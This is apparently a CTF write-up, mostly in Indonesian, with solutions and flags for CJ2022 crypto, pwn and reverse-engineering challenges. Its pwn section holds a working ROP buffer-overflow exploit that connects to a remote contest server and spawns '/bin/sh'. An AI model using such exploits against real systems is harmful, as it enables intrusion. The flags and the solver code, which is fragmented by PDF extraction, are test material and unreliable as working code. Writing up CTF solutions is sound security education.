CRYPTO
1. Faustian
Script:
Solve.py
2
import hashlib
n =
0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
p =
0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
a =
0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
b =
0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
Gx =
0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
Gy =
0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
G = E(Gx, Gy)
R1 = E(
89178789511056148847049005868567462167261955997657554099778920933121
573091123,
71048220706946823989291827907177204783636416742853218272785661900390
030752444,
S1 = E(
3
84468717208487015879799413611233811577918959004889114474169144242051
434411742,
68199653900396666624222323732071371893612714602403761325540079249224
396206734,
t1 =
86853982115072095915163562930779888818732258019406908343398368359229
922203539
R2 = E(
58390376058912459799393144291493382130355606516250185375725693269944
877619189,
68951579874790955372262253961119890325320186518045447506249230878120
315473589,
S2 = E(
84468717208487015879799413611233811577918959004889114474169144242051
434411742,
68199653900396666624222323732071371893612714602403761325540079249224
396206734,
t2 =
77394062595214945977303101167667205555888591783381794883527416825859
624371383
4
h1 = bytes_to_long(hashlib.sha256(b"Memento Mori").digest())
a11 = int(R1.xy()[0])
a12 = int(S1.xy()[0]) + h1
b1 = t1 - h1 * int(S1.xy()[0])
a21 = int(R2.xy()[0])
a22 = int(S2.xy()[0]) + h2
b2 = t2 - h2 * int(S2.xy()[0])
y, x = A.solve_right(b)
print(x)
print(y)
5
from Crypto.Util.number import bytes_to_long
class FaustianContract:
def __init__(self):
p =
0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
a =
0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
b =
0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
Gx =
0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
Gy =
0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
self.n =
0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
self.E = ellipticcurve.CurveFp(p, a, b, 1)
6
self.x =
47182668197856289342864657938670160421678130687332682168596520003983
438221930
self.y =
10211478560799055302877804940614264431748217608547837727160421479223
0482615867
h = bytes_to_long(sha256(m).digest())
k = self.x + h
R = k * self.G
S = self.y * self.G
return False
return False
7
if not self.E.contains_point(S[0], S[1]):
return False
h = bytes_to_long(sha256(m).digest())
if __name__ == "__main__":
contract = FaustianContract()
R, S, t = contract.sign(pacts[2].encode())
print(f"Rx: {R[0]}")
print(f"Ry: {R[1]}")
print(f"Sx: {S[0]}")
print(f"Sy: {S[1]}")
8
print(f"t: {t}")
Flag: CJ2022{no_need_fancy_trick_just_basic_math_3738bdd4c}
PWN
1. Minato Aqua
9
Terdapat bug buffer overflow pada binary tsb, no PIE + NX enabled so must
be simple ROP. Langsung saja cek gadget yang tersedia dengan ropper, dan
oke tidak semudah itu karena tidak ada pop rdi wkwkwkwk. Namun, kami
menemukan gadget yang menarik, yakni:
Gadget tersebut mengisi rdi dengan rax dan memanggil system (base_addr +
0x1070). Jadi apabila kita dapat mengisi rax dengan “/bin/sh”, we win. Ingat
kembali rax menyimpan return value dari setiap fungsi, dan return value dari
gets() adalah address yang mengarah pada inputan kita yang akan disimpan
pada rax, karena paddingnya 40 yasudah langsung saja input b“/bin/sh\x00”
* 5 sebagai padding sekaligus value rax yang akan dipass ke rdi, dan
overwrite return address dengan gadget tersebut :D
# p = process("./minato_aqua")
p = remote("167.172.88.66", 8001)
10
gadget = 0x00000000004011D3
payload = 5 * b"/bin/sh\x00"
payload += p64(gadget)
p.sendline(payload)
p.interactive()
Flag: CJ2022{good_luck_with_the_other_challs!!!!!!}
11
REV
1. Sekr3T Message
Diberikan 64bit ELF yang berbasis golang, langsung saja decompile dengan
ghidra. Karena golang, maka fungsi main terletak pada main.main. Lalu, kami
menemukan ada potongan kode yang menarik pada main.main tersebut:
Kami menduga bahwa output tsb adalah flag yang telah di encode dalam
base64, langsung saja decode dengan online tools dann..
12
Flag: CJ2022{S1n4u_Ben_6a_K3t1ngg4l4N}
13
2. BabyRev
Diberikan stripped 64bit ELF langsung saja decompile dengan ghidra, fungsi
main terletak pada argumen pertama pada entry langsung saja menuju
fungsi tersebut, berikut isinya:
Dapat dilihat bahwa potongan kode tersebut akan mengecek apakah inputan
kita adalah flag yang benar dari challenge ini. Dapat dilihat bahwa flag
diconstruct dari operasi xor antar 2 pointer, langsung saja lihat pointer2
tersebut. PTR_DAT_00104620 ternyata adalah sebuah pointer menuju suatu
data yang cukup besar, dan
PTR_s_CJ2022{6b4df17b9722d184e8229b5fd_00106360 sesuai namanya
merupakan pointer menuju string (array of char) yang berisi
“CJ2022{6b4df17b9722d184e8229b5fd9364f7ac53ce94c710d}". Langsung
saja copas semua data pada PTR_DAT_00104620 dan lakukan xor pada index
yang bersesuaian dengan
14
"CJ2022{6b4df17b9722d184e8229b5fd9364f7ac53ce94c710d}", dan flag akan
didapatkan. Berikut solver yang kami gunakan:
data = [
"0x00",
"0x00",
"0x00",
"0x00",
"0x00",
"0x00",
"0x00",
"0x58",
"0x0D",
"0x6B",
"0x17",
"0x12",
"0x43",
"0x5E",
"0x0C",
"0x5E",
"0x44",
"0x6D",
"0x58",
"0x11",
"0x42",
15
"0x4C",
"0x6B",
"0x09",
"0x4C",
"0x40",
"0x53",
"0x5A",
"0x07",
"0x48",
"0x25",
"0x2E",
"0x0B",
"0x03",
"0x04",
"0x06",
"0x1D",
"0x59",
"0x0E",
"0x3C",
"0x46",
"0x47",
"0x11",
"0x0C",
"0x57",
16
"0x53",
"0x10",
"0x68",
"0x5B",
"0x45",
"0x17",
"0x09",
"0x00",
data2 = "CJ2022{6b4df17b9722d184e8229b5fd9364f7ac53ce94c710d}"
print(flag)
Flag: CJ2022{no_strings_just_ltrace}
17
3. Kamu Nanya?
Diberikan zip file berisi 591 binary, langsung saja lakukan objdump untuk
mengecek hasil disassemblynya:
untuk memasukkan semua assembly dari masing2 binary file pada suatu file
to_solve.txt, lalu lakukan parsing dengan bantuan python untuk
mendapatkan hasil cmp yang sesuai. Namun ingat bertanya* mengurutkan
18
nama file secara leksikografis, yang dalam kasus kita tidak diinginkan karena
kita ingin bahwa output objdump tersebut terurut dari bertanya0, bertanya1,
bertanya2, dst bukan bertanya0, bertanya1, bertanya10, bertanya100, dst.
Maka perlu dilakukan sorting terlebih dahulu untuk melakukan “unjumbling”
pada flag yang telah dihasilkan dari hasil pemrosesan to_solve.txt, untuk
melakukan hal tsb saya melakukan command line
def get_operand(op):
return op.split()[1][1:].split(",")[0]
operator = op1.split()[0]
if operator == "xor":
else:
19
print("[*] Unknown operator -> " + operator)
exit()
return ret
jumbled_flag = ""
correct_order = {}
prev_line = None
flag = []
if i % 2 == 1:
flag.append(
% 256
prev_line = line
20
orders = [(int(line.split()[0].split(":")[0][8:]), i) for i, line in
enumerate(f)]
correct_order[order[0]] = order[1]
flag = ""
for i in range(len(jumbled_flag)):
flag += jumbled_flag[correct_order[i]]
print(flag)
Flag: CJ2022{opoKuwi_Kowe_t3k0000k}
4. TeenRev
21
Karena incomplete, maka kami melakukan disassemble lebih lanjut dengan
bantuan module dis untuk mengkonfirmasi kekomplitan dan behavior lebih
lanjut dari program.
import dis
import marshal
f.seek(16)
dis.dis(marshal.load(f))
22
Behavior dari program tersebut adalah merubah input kita yang akan di
assign ke variabel p. Program tersebut akan menambahkan dengan suatu
offset per index dari variabel p dari fungsi off() yang di load dari byte code
dari variabel x. Program akan mengecek apakah input kita adalah flag
dengan mengecek hasil akhir di p apakah sama dengan
b'ns@\xf5Y^\x12\x1fDb6.\x9f\xcb\x0b>\x98Se7\xc0\x10B\x1d^O+*\x88\xb4
r\xa4\x81\x08\x88VV\xb8\xf1"a\x0bc\x91_;)\xd3\xfcB'
import marshal
import string
23
enc =
b'ns@\xf5Y^\x12\x1fDb6.\x9f\xcb\x0b>\x98Se7\xc0\x10B\x1d^O+*\x88\xb4
r\xa4\x81\x08\x88VV\xb8\xf1"a\x0bc\x91_;)\xd3\xfcB'
p = bytearray(flag)
flag = "CJ2022{"
for ch in string.printable:
p[i] = ord(ch)
if (p[i] == enc[i]):
flag += ch
break
print(flag)
flag += '}'
print(flag)
Flag: CJ2022{Justt_parsee_andd_runn_it_in_reverse_order}
24